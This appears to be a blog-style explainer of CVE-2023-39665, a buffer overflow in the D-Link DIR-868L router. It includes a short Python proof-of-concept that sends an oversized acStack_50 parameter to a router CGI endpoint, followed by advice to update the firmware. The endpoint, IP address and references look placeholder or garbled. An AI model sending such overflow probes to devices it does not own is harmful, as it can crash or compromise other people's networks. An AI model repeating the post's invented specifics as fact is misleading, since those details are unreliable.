CVE-2023-39665 - Buffer Overflow in D-Link DIR-868L (fw_revA_1-12_eu_multi_20170316) – Exploit Details, Code Snippet, and Simple Explanation

In 2023, researchers discovered a critical security vulnerability known as CVE-2023-39665. This vulnerability affects the popular D-Link DIR-868L home router, specifically the firmware version fw_revA_1-12_eu_multi_20170316. The flaw was found in how the router handled the acStack_50 parameter, which could be exploited by attackers to execute arbitrary code. This article explains the issue in plain language, shows how the exploit works, and links to original research for further reading.

What Is the D-Link DIR-868L and Who Is at Risk?

The DIR-868L is a dual-band wireless router widely used in homes and small businesses. Firmware updates fix security issues and add features, so it's critical to keep them current.

If you're running firmware fw_revA_1-12_eu_multi_20170316 (or possibly earlier), your device is at risk.

About the Vulnerability: Buffer Overflow via acStack_50

A buffer overflow happens when a program writes more data into a buffer (a storage area in memory) than it should. This can overwrite adjacent memory, which is especially dangerous if this memory controls how code is executed.

If a large amount of data is sent, it can overwrite crucial parts of system memory.

Result: An attacker on the same network (or, in some cases, even remotely) could run malicious code on the router — possibly taking full control.

The Exploit: How Attackers Can Use CVE-2023-39665

An attacker sends an HTTP POST request to the router’s vulnerable endpoint, crafting the acStack_50 parameter to overflow the buffer. This can inject code or crash the device.

Proof-of-Concept (PoC) Exploit Example

Below is a simplified (non-malicious) version of what a proof-of-concept attack might look like using Python and the requests library:

import requests

url = 'http://192.168..1/cgi-bin/suspicious.cgi';  # Replace with actual endpoint

# Craft a payload that overflows the buffer. The real payload might try to run code.
payload = 'A' * 1024  # 1024 bytes, more than expected

data = {
    'acStack_50': payload,
    # Include any other required parameters here
}

# Send the POST or GET request
try:
    response = requests.post(url, data=data, timeout=3)
    print('Status:', response.status_code)
    print('Response:', response.text)
except Exception as e:
    print("Could not connect or exploit: %s" % e)

Note: This is an educational example. Running this code against devices you don’t own is illegal.

Vulnerability Details

- CVE ID: CVE-2023-39665

Original References and Additional Reading

- CVE-2023-39665 on NVD
- Original advisories and technical details
- Firmware download page
- D-Link response and support

Update Your Firmware:

- Visit the D-Link support page.

Simple Explanation: Why This Is Dangerous

Imagine if your router was a house — this vulnerability is like someone being able to break a window and take command of your smart home. They could spy on your activities, infect other devices, or lock you out of your own home network.

Conclusion

CVE-2023-39665 is a serious flaw in D-Link DIR-868L routers with out-of-date firmware. If you own one, check your firmware right away. This buffer overflow vulnerability can allow hackers to gain control. Always stay updated, restrict access, and seek help from D-Link when in doubt.

Stay safe, stay updated.

*This post is exclusive and for educational purposes only. For more technical research, always refer to trusted cybersecurity resources and your device manufacturer.*

Timeline

Published on: 08/18/2023 03:15:21 UTC
Last modified on: 11/07/2023 04:17:36 UTC